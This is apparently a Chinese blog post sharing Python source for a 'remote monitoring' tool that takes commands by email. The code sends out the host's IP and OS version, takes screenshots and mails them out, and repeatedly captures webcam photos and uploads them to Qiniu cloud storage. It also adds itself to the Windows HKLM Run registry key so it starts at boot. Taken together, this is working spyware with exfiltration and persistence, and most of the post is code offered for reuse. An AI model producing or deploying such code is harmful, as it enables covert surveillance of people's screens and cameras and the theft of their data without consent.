最近用python寫了一個遠程監控的程序,主要功能有:
1.用郵件控制所以功能
2.可以對屏幕截圖,屏幕截圖發送到郵箱
3.可以用攝像頭獲取圖片,這些圖片上傳到七牛
4.開機自啟動
#獲取ip
def getIP():
ip=socket.gethostbyname(socket.gethostname())
return ip
#獲取操作系統版本、
def getSystemVersion():
return platform.platform()
def send_Information(ip,system_version):
info='ip:'+ip+' '+'system version:'+system_version
print info
smtp=smtplib.SMTP()
smtp.connect('smtp.sina.com')
smtp.login('sender@sina.com','***') #改成自己的郵箱和密碼
smtp.sendmail('sender@sina.com','reveicer@qq.com',ip+' '+system_version)#把接收郵箱改成自己另外一個郵箱
#截圖,圖片名為截圖時間
def screen_capture():
#獲取截圖時間
pic_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
#pic_name='screen_capture'+time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
pic_name='screen'+pic_time+'.jpg'
pic = ImageGrab.grab()
pic.save('%s' % pic_name)
print pic_name
#發送圖片
send_Img(pic_time,pic_name)
print pic_name
os.remove(pic_name)#刪除圖片
#發送截圖圖片到郵箱
def send_Img(pic_time,pic_name):
msgRoot = MIMEMultipart('related')
msgRoot['Subject'] = pic_time
msgText = MIMEText('<b>capture</b> <br><img src="cid:image1">','html','utf-8')
msgRoot.attach(msgText)
#fp = open('F://1.jpg', 'rb')
fp = open(pic_name, 'rb')
msgImage = MIMEImage(fp.read())
fp.close()
msgImage.add_header('Content-ID', '<image1>')
msgRoot.attach(msgImage)
smtp = smtplib.SMTP()
smtp.connect('smtp.sina.com','25')
smtp.login("sender@sina.com","*****")
smtp.sendmail("sender@sina.com","receiver@qq.com", msgRoot.as_string())
smtp.quit()
print 'send success'
#攝像頭截圖,每隔SLEEP_TIME秒截取一張
def camera_capture():
#抓取頻率
SLEEP_TIME=3
i=0
cam=Device(devnum=0, showVideoWindow=0)
while i<10:
cam_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
cam_name='camera'+cam_time+'.jpg'
cam.saveSnapshot(cam_name,3,1,'bl')
camera_upload(cam_name)
print str(i)+cam_name
os.remove(cam_name)
time.sleep(SLEEP_TIME)
i+=1
#上傳到七牛
def camera_upload(file):
policy = qiniu.rs.PutPolicy('iloster') #空間名,iloster是我的空間名
uptoken = policy.token()
ret, err = qiniu.io.put_file(uptoken, None, file)
if err is not None:
sys.stderr.write('error: %s ' % err)
#獲取最新郵件
def accept_mail():
pop=poplib.POP3_SSL('pop.qq.com')
pop.user('receiver@qq.com')
pop.pass_('*****')
#獲取郵件數目
(num,totalSize)=pop.stat()
#獲取最新的郵件
(heard,msg,octets)=pop.retr(num)
mail=email.message_from_string("/n".join(msg))
subject=email.Header.decode_header(mail['subject'])[0][0] #標題
pop.quit()
return subject
#獲得程序的路徑
def getPath():
path=os.getcwd()+'/Remote.exe' #最后打包的exe程序名必須為Remote.exe,或者把這里改一下
print path
return path
#添加開機自啟動,在注冊表里注冊
def add_start(path):
subkey='SOFTWARE/Microsoft/Windows/CurrentVersion/Run'
key=win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,subkey,0,win32con.KEY_ALL_ACCESS)
#print win32api.RegQueryValueEx(key,'python')
win32api.RegSetValueEx(key,'python',0,win32con.REG_SZ,path)
print win32api.RegQueryValueEx(key,'python')
if __name__=='__main__':
add_start(getPath()) #添加開機自啟動
send_Information(getIP(),getSystemVersion())
while 1: #不斷的監聽
if accept_mail()=='screen': #當獲取的郵件主題為screen時,截取屏幕信息
screen_capture()
elif accept_mail()=='camera':
camera_capture()
注意:
1.我的發送郵箱是sina郵箱,接收郵箱是qq郵箱,這樣做是因為微信可以綁定qq郵箱。
2.accept_mail()監聽的郵箱是自己的接收郵箱,就是我用的qq郵箱
3.當監聽到screen時,開始屏幕截圖并發送到郵箱,由于監聽的是最新的郵件,當圖片發送帶郵箱時,獲取的郵件主題不是screen了,應該會停止截圖,最后只會截取一張圖片,繼續保持監聽狀態。但實際由于網絡的原因,發送的郵件會有延遲,所以,實際截取的圖片會有很多張
4.當監聽到camera時,會用攝像頭截圖,如果把while i<10,改成i=1,會讓攝像頭一直截圖,并使其他命令失效,所以我i<10,就是每獲取一次命令,截圖10張
新聞熱點
疑難解答
圖片精選